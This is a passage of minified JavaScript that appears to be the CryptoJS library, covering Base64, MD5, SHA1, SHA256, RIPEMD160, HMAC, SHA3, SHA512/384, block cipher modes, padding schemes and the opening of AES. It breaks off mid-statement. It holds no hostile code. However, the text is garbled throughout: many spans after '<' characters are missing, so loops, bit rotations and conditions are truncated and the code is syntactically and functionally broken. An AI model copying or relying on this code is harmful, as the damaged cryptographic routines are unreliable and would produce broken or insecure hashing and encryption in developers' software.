t=this._X,e=this._C,r=0;r<8;r++)wt[r]=e[r];for(e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0,r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((n*n>>>17)+n*o>>>15)+o*o,c=((4294901760&i)*i|0)+((65535&i)*i|0);kt[r]=s^c}t[0]=kt[0]+(kt[7]<<16|kt[7]>>>16)+(kt[6]<<16|kt[6]>>>16)|0,t[1]=kt[1]+(kt[0]<<8|kt[0]>>>24)+kt[7]|0,t[2]=kt[2]+(kt[1]<<16|kt[1]>>>16)+(kt[0]<<16|kt[0]>>>16)|0,t[3]=kt[3]+(kt[2]<<8|kt[2]>>>24)+kt[1]|0,t[4]=kt[4]+(kt[3]<<16|kt[3]>>>16)+(kt[2]<<16|kt[2]>>>16)|0,t[5]=kt[5]+(kt[4]<<8|kt[4]>>>24)+kt[3]|0,t[6]=kt[6]+(kt[5]<<16|kt[5]>>>16)+(kt[4]<<16|kt[4]>>>16)|0,t[7]=kt[7]+(kt[6]<<8|kt[6]>>>24)+kt[5]|0}return t=mt.lib.WordArray,mt.enc.Base64={stringify:function(t){var e=t.words,r=t.sigBytes,i=this._map;t.clamp();for(var n=[],o=0;o>>2]>>>24-o%4*8&255)<<16|(e[o+1>>>2]>>>24-(o+1)%4*8&255)<<8|e[o+2>>>2]>>>24-(o+2)%4*8&255,c=0;c<4&&o+.75*c>>6*(3-c)&63));var a=i.charAt(64);if(a)for(;n.length%4;)n.push(a);return n.join("")},parse:function(e){var r=e.length,i=this._map,n=this._reverseMap;if(!n){n=this._reverseMap=[];for(var o=0;o>>6-s%4*2;n[o>>>2]|=c<<24-o%4*8,o++}return t.create(n,o)}(e,r,n)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(t){var e=mt,r=e.lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[];!function(){for(var e=0;e<64;e++)s[e]=4294967296*t.abs(t.sin(e+1))|0}();var c=o.MD5=n.extend({_doReset:function(){this._hash=new i.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8)}var o=this._hash.words,c=t[e+0],d=t[e+1],u=t[e+2],p=t[e+3],_=t[e+4],v=t[e+5],y=t[e+6],g=t[e+7],B=t[e+8],w=t[e+9],k=t[e+10],S=t[e+11],m=t[e+12],x=t[e+13],b=t[e+14],H=t[e+15],z=o[0],A=o[1],C=o[2],D=o[3];z=f(z=l(z=l(z=l(z=l(z=h(z=h(z=h(z=h(z=a(z=a(z=a(z=a(z,A,C,D,c,7,s[0]),A=a(A,C=a(C,D=a(D,z,A,C,d,12,s[1]),z,A,u,17,s[2]),D,z,p,22,s[3]),C,D,_,7,s[4]),A=a(A,C=a(C,D=a(D,z,A,C,v,12,s[5]),z,A,y,17,s[6]),D,z,g,22,s[7]),C,D,B,7,s[8]),A=a(A,C=a(C,D=a(D,z,A,C,w,12,s[9]),z,A,k,17,s[10]),D,z,S,22,s[11]),C,D,m,7,s[12]),A=a(A,C=a(C,D=a(D,z,A,C,x,12,s[13]),z,A,b,17,s[14]),D,z,H,22,s[15]),C,D,d,5,s[16]),A=h(A,C=h(C,D=h(D,z,A,C,y,9,s[17]),z,A,S,14,s[18]),D,z,c,20,s[19]),C,D,v,5,s[20]),A=h(A,C=h(C,D=h(D,z,A,C,k,9,s[21]),z,A,H,14,s[22]),D,z,_,20,s[23]),C,D,w,5,s[24]),A=h(A,C=h(C,D=h(D,z,A,C,b,9,s[25]),z,A,p,14,s[26]),D,z,B,20,s[27]),C,D,x,5,s[28]),A=h(A,C=h(C,D=h(D,z,A,C,u,9,s[29]),z,A,g,14,s[30]),D,z,m,20,s[31]),C,D,v,4,s[32]),A=l(A,C=l(C,D=l(D,z,A,C,B,11,s[33]),z,A,S,16,s[34]),D,z,b,23,s[35]),C,D,d,4,s[36]),A=l(A,C=l(C,D=l(D,z,A,C,_,11,s[37]),z,A,g,16,s[38]),D,z,k,23,s[39]),C,D,x,4,s[40]),A=l(A,C=l(C,D=l(D,z,A,C,c,11,s[41]),z,A,p,16,s[42]),D,z,y,23,s[43]),C,D,w,4,s[44]),A=l(A,C=l(C,D=l(D,z,A,C,m,11,s[45]),z,A,H,16,s[46]),D,z,u,23,s[47]),C,D,c,6,s[48]),A=f(A=f(A=f(A=f(A,C=f(C,D=f(D,z,A,C,g,10,s[49]),z,A,b,15,s[50]),D,z,v,21,s[51]),C=f(C,D=f(D,z=f(z,A,C,D,m,6,s[52]),A,C,p,10,s[53]),z,A,k,15,s[54]),D,z,d,21,s[55]),C=f(C,D=f(D,z=f(z,A,C,D,B,6,s[56]),A,C,H,10,s[57]),z,A,y,15,s[58]),D,z,x,21,s[59]),C=f(C,D=f(D,z=f(z,A,C,D,_,6,s[60]),A,C,S,10,s[61]),z,A,u,15,s[62]),D,z,w,21,s[63]),o[0]=o[0]+z|0,o[1]=o[1]+A|0,o[2]=o[2]+C|0,o[3]=o[3]+D|0},_doFinalize:function(){var e=this._data,r=e.words,i=8*this._nDataBytes,n=8*e.sigBytes;r[n>>>5]|=128<<24-n%32;var o=t.floor(i/4294967296),s=i;r[15+(64+n>>>9<<4)]=16711935&(o<<8|o>>>24)|4278255360&(o<<24|o>>>8),r[14+(64+n>>>9<<4)]=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),e.sigBytes=4*(r.length+1),this._process();for(var c=this._hash,a=c.words,h=0;h<4;h++){var l=a[h];a[h]=16711935&(l<<8|l>>>24)|4278255360&(l<<24|l>>>8)}return c},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}});function a(t,e,r,i,n,o,s){var c=t+(e&r|~e&i)+n+s;return(c<>>32-o)+e}function h(t,e,r,i,n,o,s){var c=t+(e&i|r&~i)+n+s;return(c<>>32-o)+e}function l(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;return(c<>>32-o)+e}function f(t,e,r,i,n,o,s){var c=t+(r^(e|~i))+n+s;return(c<>>32-o)+e}e.MD5=n._createHelper(c),e.HmacMD5=n._createHmacHelper(c)}(Math),r=(e=mt).lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[],c=o.SHA1=n.extend({_doReset:function(){this._hash=new i.init([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],c=r[3],a=r[4],h=0;h<80;h++){if(h<16)s[h]=0|t[e+h];else{var l=s[h-3]^s[h-8]^s[h-14]^s[h-16];s[h]=l<<1|l>>>31}var f=(i<<5|i>>>27)+a+s[h];f+=h<20?1518500249+(n&o|~n&c):h<40?1859775393+(n^o^c):h<60?(n&o|n&c|o&c)-1894007588:(n^o^c)-899497514,a=c,c=o,o=n<<30|n>>>2,n=i,i=f}r[0]=r[0]+i|0,r[1]=r[1]+n|0,r[2]=r[2]+o|0,r[3]=r[3]+c|0,r[4]=r[4]+a|0},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=Math.floor(r/4294967296),e[15+(64+i>>>9<<4)]=r,t.sigBytes=4*e.length,this._process(),this._hash},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}}),e.SHA1=n._createHelper(c),e.HmacSHA1=n._createHmacHelper(c),function(t){var e=mt,r=e.lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[],c=[];!function(){function e(e){for(var r=t.sqrt(e),i=2;i<=r;i++)if(!(e%i))return;return 1}function r(t){return 4294967296*(t-(0|t))|0}for(var i=2,n=0;n<64;)e(i)&&(n<8&&(s[n]=r(t.pow(i,.5))),c[n]=r(t.pow(i,1/3)),n++),i++}();var a=[],h=o.SHA256=n.extend({_doReset:function(){this._hash=new i.init(s.slice(0))},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],h=r[4],l=r[5],f=r[6],d=r[7],u=0;u<64;u++){if(u<16)a[u]=0|t[e+u];else{var p=a[u-15],_=(p<<25|p>>>7)^(p<<14|p>>>18)^p>>>3,v=a[u-2],y=(v<<15|v>>>17)^(v<<13|v>>>19)^v>>>10;a[u]=_+a[u-7]+y+a[u-16]}var g=i&n^i&o^n&o,B=(i<<30|i>>>2)^(i<<19|i>>>13)^(i<<10|i>>>22),w=d+((h<<26|h>>>6)^(h<<21|h>>>11)^(h<<7|h>>>25))+(h&l^~h&f)+c[u]+a[u];d=f,f=l,l=h,h=s+w|0,s=o,o=n,n=i,i=w+(B+g)|0}r[0]=r[0]+i|0,r[1]=r[1]+n|0,r[2]=r[2]+o|0,r[3]=r[3]+s|0,r[4]=r[4]+h|0,r[5]=r[5]+l|0,r[6]=r[6]+f|0,r[7]=r[7]+d|0},_doFinalize:function(){var e=this._data,r=e.words,i=8*this._nDataBytes,n=8*e.sigBytes;return r[n>>>5]|=128<<24-n%32,r[14+(64+n>>>9<<4)]=t.floor(i/4294967296),r[15+(64+n>>>9<<4)]=i,e.sigBytes=4*r.length,this._process(),this._hash},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}});e.SHA256=n._createHelper(h),e.HmacSHA256=n._createHmacHelper(h)}(Math),function(){var t=mt.lib.WordArray,e=mt.enc;function r(t){return t<<8&4278255360|t>>>8&16711935}e.Utf16=e.Utf16BE={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n>>2]>>>16-n%4*8&65535;i.push(String.fromCharCode(o))}return i.join("")},parse:function(e){for(var r=e.length,i=[],n=0;n>>1]|=e.charCodeAt(n)<<16-n%2*16;return t.create(i,2*r)}},e.Utf16LE={stringify:function(t){for(var e=t.words,i=t.sigBytes,n=[],o=0;o>>2]>>>16-o%4*8&65535);n.push(String.fromCharCode(s))}return n.join("")},parse:function(e){for(var i=e.length,n=[],o=0;o>>1]|=r(e.charCodeAt(o)<<16-o%2*16);return t.create(n,2*i)}}}(),function(){if("function"==typeof ArrayBuffer){var t=mt.lib.WordArray,e=t.init;(t.init=function(t){if(t instanceof ArrayBuffer&&(t=new Uint8Array(t)),(t instanceof Int8Array||"undefined"!=typeof Uint8ClampedArray&&t instanceof Uint8ClampedArray||t instanceof Int16Array||t instanceof Uint16Array||t instanceof Int32Array||t instanceof Uint32Array||t instanceof Float32Array||t instanceof Float64Array)&&(t=new Uint8Array(t.buffer,t.byteOffset,t.byteLength)),t instanceof Uint8Array){for(var r=t.byteLength,i=[],n=0;n>>2]|=t[n]<<24-n%4*8;e.call(this,i,r)}else e.apply(this,arguments)}).prototype=t}}(),Math,h=(a=mt).lib,l=h.WordArray,f=h.Hasher,d=a.algo,u=l.create([0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,7,4,13,1,10,6,15,3,12,0,9,5,2,14,11,8,3,10,14,4,9,15,8,1,2,7,0,6,13,11,5,12,1,9,11,10,0,8,12,4,13,3,7,15,14,5,6,2,4,0,5,9,7,12,2,10,14,1,3,8,11,6,15,13]),p=l.create([5,14,7,0,9,2,11,4,13,6,15,8,1,10,3,12,6,11,3,7,0,13,5,10,14,15,8,12,4,9,1,2,15,5,1,3,7,14,6,9,11,8,12,2,10,0,4,13,8,6,4,1,3,11,15,0,5,12,2,13,9,7,10,14,12,15,10,4,1,5,8,7,6,2,13,14,0,3,9,11]),_=l.create([11,14,15,12,5,8,7,9,11,13,14,15,6,7,9,8,7,6,8,13,11,9,7,15,7,12,15,9,11,7,13,12,11,13,6,7,14,9,13,15,14,8,13,6,5,12,7,5,11,12,14,15,14,15,9,8,9,14,5,6,8,6,5,12,9,15,5,11,6,8,13,12,5,12,13,14,11,8,5,6]),v=l.create([8,9,9,11,13,15,15,5,7,7,8,11,14,14,12,6,9,13,15,7,12,8,9,11,7,7,12,7,6,15,13,11,9,7,15,11,8,6,6,14,12,13,5,14,13,13,7,5,15,5,8,11,14,14,6,14,6,9,12,9,12,5,15,8,8,5,12,9,12,5,14,6,8,13,6,5,15,13,11,11]),y=l.create([0,1518500249,1859775393,2400959708,2840853838]),g=l.create([1352829926,1548603684,1836072691,2053994217,0]),B=d.RIPEMD160=f.extend({_doReset:function(){this._hash=l.create([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8)}var o,s,c,a,h,l,f,d,B,w,k,S=this._hash.words,m=y.words,x=g.words,b=u.words,H=p.words,z=_.words,A=v.words;for(l=o=S[0],f=s=S[1],d=c=S[2],B=a=S[3],w=h=S[4],r=0;r<80;r+=1)k=o+t[e+b[r]]|0,k+=r<16?xt(s,c,a)+m[0]:r<32?bt(s,c,a)+m[1]:r<48?Ht(s,c,a)+m[2]:r<64?zt(s,c,a)+m[3]:At(s,c,a)+m[4],k=(k=Ct(k|=0,z[r]))+h|0,o=h,h=a,a=Ct(c,10),c=s,s=k,k=l+t[e+H[r]]|0,k+=r<16?At(f,d,B)+x[0]:r<32?zt(f,d,B)+x[1]:r<48?Ht(f,d,B)+x[2]:r<64?bt(f,d,B)+x[3]:xt(f,d,B)+x[4],k=(k=Ct(k|=0,A[r]))+w|0,l=w,w=B,B=Ct(d,10),d=f,f=k;k=S[1]+c+B|0,S[1]=S[2]+a+w|0,S[2]=S[3]+h+l|0,S[3]=S[4]+o+f|0,S[4]=S[0]+s+d|0,S[0]=k},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=16711935&(r<<8|r>>>24)|4278255360&(r<<24|r>>>8),t.sigBytes=4*(e.length+1),this._process();for(var n=this._hash,o=n.words,s=0;s<5;s++){var c=o[s];o[s]=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8)}return n},clone:function(){var t=f.clone.call(this);return t._hash=this._hash.clone(),t}}),a.RIPEMD160=f._createHelper(B),a.HmacRIPEMD160=f._createHmacHelper(B),w=mt.lib.Base,k=mt.enc.Utf8,mt.algo.HMAC=w.extend({init:function(t,e){t=this._hasher=new t.init,"string"==typeof e&&(e=k.parse(e));var r=t.blockSize,i=4*r;e.sigBytes>i&&(e=t.finalize(e)),e.clamp();for(var n=this._oKey=e.clone(),o=this._iKey=e.clone(),s=n.words,c=o.words,a=0;a>>24)|4278255360&(o<<24|o>>>8),s=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),(A=r[n]).high^=s,A.low^=o}for(var f=0;f<24;f++){for(var d=0;d<5;d++){for(var u=0,p=0,_=0;_<5;_++)u^=(A=r[d+5*_]).high,p^=A.low;var v=l[d];v.high=u,v.low=p}for(d=0;d<5;d++){var y=l[(d+4)%5],g=l[(d+1)%5],B=g.high,w=g.low;for(u=y.high^(B<<1|w>>>31),p=y.low^(w<<1|B>>>31),_=0;_<5;_++)(A=r[d+5*_]).high^=u,A.low^=p}for(var k=1;k<25;k++){var S=(A=r[k]).high,m=A.low,x=c[k];p=x<32?(u=S<>>32-x,m<>>32-x):(u=m<>>64-x,S<>>64-x);var b=l[a[k]];b.high=u,b.low=p}var H=l[0],z=r[0];for(H.high=z.high,H.low=z.low,d=0;d<5;d++)for(_=0;_<5;_++){var A=r[k=d+5*_],C=l[k],D=l[(d+1)%5+5*_],E=l[(d+2)%5+5*_];A.high=C.high^~D.high&E.high,A.low=C.low^~D.low&E.low}A=r[0];var R=h[f];A.high^=R.high,A.low^=R.low}},_doFinalize:function(){var e=this._data,r=e.words,n=(this._nDataBytes,8*e.sigBytes),o=32*this.blockSize;r[n>>>5]|=1<<24-n%32,r[(t.ceil((1+n)/o)*o>>>5)-1]|=128,e.sigBytes=4*r.length,this._process();for(var s=this._state,c=this.cfg.outputLength/8,a=c/8,h=[],l=0;l>>24)|4278255360&(d<<24|d>>>8),u=16711935&(u<<8|u>>>24)|4278255360&(u<<24|u>>>8),h.push(u),h.push(d)}return new i.init(h,c)},clone:function(){for(var t=n.clone.call(this),e=t._state=this._state.slice(0),r=0;r<25;r++)e[r]=e[r].clone();return t}});e.SHA3=n._createHelper(f),e.HmacSHA3=n._createHmacHelper(f)}(Math),function(){var t=mt,e=t.lib.Hasher,r=t.x64,i=r.Word,n=r.WordArray,o=t.algo;function s(){return i.create.apply(i,arguments)}var c=[s(1116352408,3609767458),s(1899447441,602891725),s(3049323471,3964484399),s(3921009573,2173295548),s(961987163,4081628472),s(1508970993,3053834265),s(2453635748,2937671579),s(2870763221,3664609560),s(3624381080,2734883394),s(310598401,1164996542),s(607225278,1323610764),s(1426881987,3590304994),s(1925078388,4068182383),s(2162078206,991336113),s(2614888103,633803317),s(3248222580,3479774868),s(3835390401,2666613458),s(4022224774,944711139),s(264347078,2341262773),s(604807628,2007800933),s(770255983,1495990901),s(1249150122,1856431235),s(1555081692,3175218132),s(1996064986,2198950837),s(2554220882,3999719339),s(2821834349,766784016),s(2952996808,2566594879),s(3210313671,3203337956),s(3336571891,1034457026),s(3584528711,2466948901),s(113926993,3758326383),s(338241895,168717936),s(666307205,1188179964),s(773529912,1546045734),s(1294757372,1522805485),s(1396182291,2643833823),s(1695183700,2343527390),s(1986661051,1014477480),s(2177026350,1206759142),s(2456956037,344077627),s(2730485921,1290863460),s(2820302411,3158454273),s(3259730800,3505952657),s(3345764771,106217008),s(3516065817,3606008344),s(3600352804,1432725776),s(4094571909,1467031594),s(275423344,851169720),s(430227734,3100823752),s(506948616,1363258195),s(659060556,3750685593),s(883997877,3785050280),s(958139571,3318307427),s(1322822218,3812723403),s(1537002063,2003034995),s(1747873779,3602036899),s(1955562222,1575990012),s(2024104815,1125592928),s(2227730452,2716904306),s(2361852424,442776044),s(2428436474,593698344),s(2756734187,3733110249),s(3204031479,2999351573),s(3329325298,3815920427),s(3391569614,3928383900),s(3515267271,566280711),s(3940187606,3454069534),s(4118630271,4000239992),s(116418474,1914138554),s(174292421,2731055270),s(289380356,3203993006),s(460393269,320620315),s(685471733,587496836),s(852142971,1086792851),s(1017036298,365543100),s(1126000580,2618297676),s(1288033470,3409855158),s(1501505948,4234509866),s(1607167915,987167468),s(1816402316,1246189591)],a=[];!function(){for(var t=0;t<80;t++)a[t]=s()}();var h=o.SHA512=e.extend({_doReset:function(){this._hash=new n.init([new i.init(1779033703,4089235720),new i.init(3144134277,2227873595),new i.init(1013904242,4271175723),new i.init(2773480762,1595750129),new i.init(1359893119,2917565137),new i.init(2600822924,725511199),new i.init(528734635,4215389547),new i.init(1541459225,327033209)])},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],h=r[4],l=r[5],f=r[6],d=r[7],u=i.high,p=i.low,_=n.high,v=n.low,y=o.high,g=o.low,B=s.high,w=s.low,k=h.high,S=h.low,m=l.high,x=l.low,b=f.high,H=f.low,z=d.high,A=d.low,C=u,D=p,E=_,R=v,M=y,F=g,P=B,W=w,O=k,I=S,U=m,K=x,X=b,L=H,j=z,N=A,T=0;T<80;T++){var q,Z,V=a[T];if(T<16)Z=V.high=0|t[e+2*T],q=V.low=0|t[e+2*T+1];else{var G=a[T-15],J=G.high,$=G.low,Q=(J>>>1|$<<31)^(J>>>8|$<<24)^J>>>7,Y=($>>>1|J<<31)^($>>>8|J<<24)^($>>>7|J<<25),tt=a[T-2],et=tt.high,rt=tt.low,it=(et>>>19|rt<<13)^(et<<3|rt>>>29)^et>>>6,nt=(rt>>>19|et<<13)^(rt<<3|et>>>29)^(rt>>>6|et<<26),ot=a[T-7],st=ot.high,ct=ot.low,at=a[T-16],ht=at.high,lt=at.low;Z=(Z=(Z=Q+st+((q=Y+ct)>>>0>>0?1:0))+it+((q+=nt)>>>0>>0?1:0))+ht+((q+=lt)>>>0>>0?1:0),V.high=Z,V.low=q}var ft,dt=O&U^~O&X,ut=I&K^~I&L,pt=C&E^C&M^E&M,_t=D&R^D&F^R&F,vt=(C>>>28|D<<4)^(C<<30|D>>>2)^(C<<25|D>>>7),yt=(D>>>28|C<<4)^(D<<30|C>>>2)^(D<<25|C>>>7),gt=(O>>>14|I<<18)^(O>>>18|I<<14)^(O<<23|I>>>9),Bt=(I>>>14|O<<18)^(I>>>18|O<<14)^(I<<23|O>>>9),wt=c[T],kt=wt.high,St=wt.low,mt=j+gt+((ft=N+Bt)>>>0>>0?1:0),xt=yt+_t;j=X,N=L,X=U,L=K,U=O,K=I,O=P+(mt=(mt=(mt=mt+dt+((ft+=ut)>>>0>>0?1:0))+kt+((ft+=St)>>>0>>0?1:0))+Z+((ft+=q)>>>0>>0?1:0))+((I=W+ft|0)>>>0>>0?1:0)|0,P=M,W=F,M=E,F=R,E=C,R=D,C=mt+(vt+pt+(xt>>>0>>0?1:0))+((D=ft+xt|0)>>>0>>0?1:0)|0}p=i.low=p+D,i.high=u+C+(p>>>0>>0?1:0),v=n.low=v+R,n.high=_+E+(v>>>0>>0?1:0),g=o.low=g+F,o.high=y+M+(g>>>0>>0?1:0),w=s.low=w+W,s.high=B+P+(w>>>0>>0?1:0),S=h.low=S+I,h.high=k+O+(S>>>0>>0?1:0),x=l.low=x+K,l.high=m+U+(x>>>0>>0?1:0),H=f.low=H+L,f.high=b+X+(H>>>0>>0?1:0),A=d.low=A+N,d.high=z+j+(A>>>0>>0?1:0)},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[30+(128+i>>>10<<5)]=Math.floor(r/4294967296),e[31+(128+i>>>10<<5)]=r,t.sigBytes=4*e.length,this._process(),this._hash.toX32()},clone:function(){var t=e.clone.call(this);return t._hash=this._hash.clone(),t},blockSize:32});t.SHA512=e._createHelper(h),t.HmacSHA512=e._createHmacHelper(h)}(),Z=(q=mt).x64,V=Z.Word,G=Z.WordArray,J=q.algo,$=J.SHA512,Q=J.SHA384=$.extend({_doReset:function(){this._hash=new G.init([new V.init(3418070365,3238371032),new V.init(1654270250,914150663),new V.init(2438529370,812702999),new V.init(355462360,4144912697),new V.init(1731405415,4290775857),new V.init(2394180231,1750603025),new V.init(3675008525,1694076839),new V.init(1203062813,3204075428)])},_doFinalize:function(){var t=$._doFinalize.call(this);return t.sigBytes-=16,t}}),q.SHA384=$._createHelper(Q),q.HmacSHA384=$._createHmacHelper(Q),mt.lib.Cipher||function(){var t=mt,e=t.lib,r=e.Base,i=e.WordArray,n=e.BufferedBlockAlgorithm,o=t.enc,s=(o.Utf8,o.Base64),c=t.algo.EvpKDF,a=e.Cipher=n.extend({cfg:r.extend(),createEncryptor:function(t,e){return this.create(this._ENC_XFORM_MODE,t,e)},createDecryptor:function(t,e){return this.create(this._DEC_XFORM_MODE,t,e)},init:function(t,e,r){this.cfg=this.cfg.extend(r),this._xformMode=t,this._key=e,this.reset()},reset:function(){n.reset.call(this),this._doReset()},process:function(t){return this._append(t),this._process()},finalize:function(t){return t&&this._append(t),this._doFinalize()},keySize:4,ivSize:4,_ENC_XFORM_MODE:1,_DEC_XFORM_MODE:2,_createHelper:function(t){return{encrypt:function(e,r,i){return h(r).encrypt(t,e,r,i)},decrypt:function(e,r,i){return h(r).decrypt(t,e,r,i)}}}});function h(t){return"string"==typeof t?w:g}e.StreamCipher=a.extend({_doFinalize:function(){return this._process(!0)},blockSize:1});var l,f=t.mode={},d=e.BlockCipherMode=r.extend({createEncryptor:function(t,e){return this.Encryptor.create(t,e)},createDecryptor:function(t,e){return this.Decryptor.create(t,e)},init:function(t,e){this._cipher=t,this._iv=e}}),u=f.CBC=((l=d.extend()).Encryptor=l.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize;p.call(this,t,e,i),r.encryptBlock(t,e),this._prevBlock=t.slice(e,e+i)}}),l.Decryptor=l.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=t.slice(e,e+i);r.decryptBlock(t,e),p.call(this,t,e,i),this._prevBlock=n}}),l);function p(t,e,r){var i,n=this._iv;n?(i=n,this._iv=void 0):i=this._prevBlock;for(var o=0;o>>2];t.sigBytes-=e}},v=(e.BlockCipher=a.extend({cfg:a.cfg.extend({mode:u,padding:_}),reset:function(){var t;a.reset.call(this);var e=this.cfg,r=e.iv,i=e.mode;this._xformMode==this._ENC_XFORM_MODE?t=i.createEncryptor:(t=i.createDecryptor,this._minBufferSize=1),this._mode&&this._mode.__creator==t?this._mode.init(this,r&&r.words):(this._mode=t.call(i,this,r&&r.words),this._mode.__creator=t)},_doProcessBlock:function(t,e){this._mode.processBlock(t,e)},_doFinalize:function(){var t,e=this.cfg.padding;return this._xformMode==this._ENC_XFORM_MODE?(e.pad(this._data,this.blockSize),t=this._process(!0)):(t=this._process(!0),e.unpad(t)),t},blockSize:4}),e.CipherParams=r.extend({init:function(t){this.mixIn(t)},toString:function(t){return(t||this.formatter).stringify(this)}})),y=(t.format={}).OpenSSL={stringify:function(t){var e=t.ciphertext,r=t.salt;return(r?i.create([1398893684,1701076831]).concat(r).concat(e):e).toString(s)},parse:function(t){var e,r=s.parse(t),n=r.words;return 1398893684==n[0]&&1701076831==n[1]&&(e=i.create(n.slice(2,4)),n.splice(0,4),r.sigBytes-=16),v.create({ciphertext:r,salt:e})}},g=e.SerializableCipher=r.extend({cfg:r.extend({format:y}),encrypt:function(t,e,r,i){i=this.cfg.extend(i);var n=t.createEncryptor(r,i),o=n.finalize(e),s=n.cfg;return v.create({ciphertext:o,key:r,iv:s.iv,algorithm:t,mode:s.mode,padding:s.padding,blockSize:t.blockSize,formatter:i.format})},decrypt:function(t,e,r,i){return i=this.cfg.extend(i),e=this._parse(e,i.format),t.createDecryptor(r,i).finalize(e.ciphertext)},_parse:function(t,e){return"string"==typeof t?e.parse(t,this):t}}),B=(t.kdf={}).OpenSSL={execute:function(t,e,r,n){n=n||i.random(8);var o=c.create({keySize:e+r}).compute(t,n),s=i.create(o.words.slice(e),4*r);return o.sigBytes=4*e,v.create({key:o,iv:s,salt:n})}},w=e.PasswordBasedCipher=g.extend({cfg:g.cfg.extend({kdf:B}),encrypt:function(t,e,r,i){var n=(i=this.cfg.extend(i)).kdf.execute(r,t.keySize,t.ivSize);i.iv=n.iv;var o=g.encrypt.call(this,t,e,n.key,i);return o.mixIn(n),o},decrypt:function(t,e,r,i){i=this.cfg.extend(i),e=this._parse(e,i.format);var n=i.kdf.execute(r,t.keySize,t.ivSize,e.salt);return i.iv=n.iv,g.decrypt.call(this,t,e,n.key,i)}})}(),mt.mode.CFB=((Y=mt.lib.BlockCipherMode.extend()).Encryptor=Y.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize;Dt.call(this,t,e,i,r),this._prevBlock=t.slice(e,e+i)}}),Y.Decryptor=Y.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=t.slice(e,e+i);Dt.call(this,t,e,i,r),this._prevBlock=n}}),Y),mt.mode.ECB=((tt=mt.lib.BlockCipherMode.extend()).Encryptor=tt.extend({processBlock:function(t,e){this._cipher.encryptBlock(t,e)}}),tt.Decryptor=tt.extend({processBlock:function(t,e){this._cipher.decryptBlock(t,e)}}),tt),mt.pad.AnsiX923={pad:function(t,e){var r=t.sigBytes,i=4*e,n=i-r%i,o=r+n-1;t.clamp(),t.words[o>>>2]|=n<<24-o%4*8,t.sigBytes+=n},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},mt.pad.Iso10126={pad:function(t,e){var r=4*e,i=r-t.sigBytes%r;t.concat(mt.lib.WordArray.random(i-1)).concat(mt.lib.WordArray.create([i<<24],1))},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},mt.pad.Iso97971={pad:function(t,e){t.concat(mt.lib.WordArray.create([2147483648],1)),mt.pad.ZeroPadding.pad(t,e)},unpad:function(t){mt.pad.ZeroPadding.unpad(t),t.sigBytes--}},mt.mode.OFB=(rt=(et=mt.lib.BlockCipherMode.extend()).Encryptor=et.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._keystream;n&&(o=this._keystream=n.slice(0),this._iv=void 0),r.encryptBlock(o,0);for(var s=0;s>>8^255&p^99,i[r]=p;var _=t[n[p]=r],v=t[_],y=t[v],g=257*t[p]^16843008*p;o[r]=g<<24|g>>>8,s[r]=g<<16|g>>>16,c[r]=g<<8|g>>>24,a[r]=g,g=16843009*y^65537*v^257*_^16843008*r,h[p]=g<<24|g>>>8,l[p]=g<<16|g>>>16,f[p]=g<<8|g>>>24,d[p]=g,r?(r=_^t[t[t[y^_]]],u^=t[t[u]]):r=u=1}}();var u=[0,1,2,4,8,16,32,64,128,27,54],p=r.AES=e.extend({_doReset:function(){if(!this._nRounds||this._keyPriorReset!==this._key){for(var 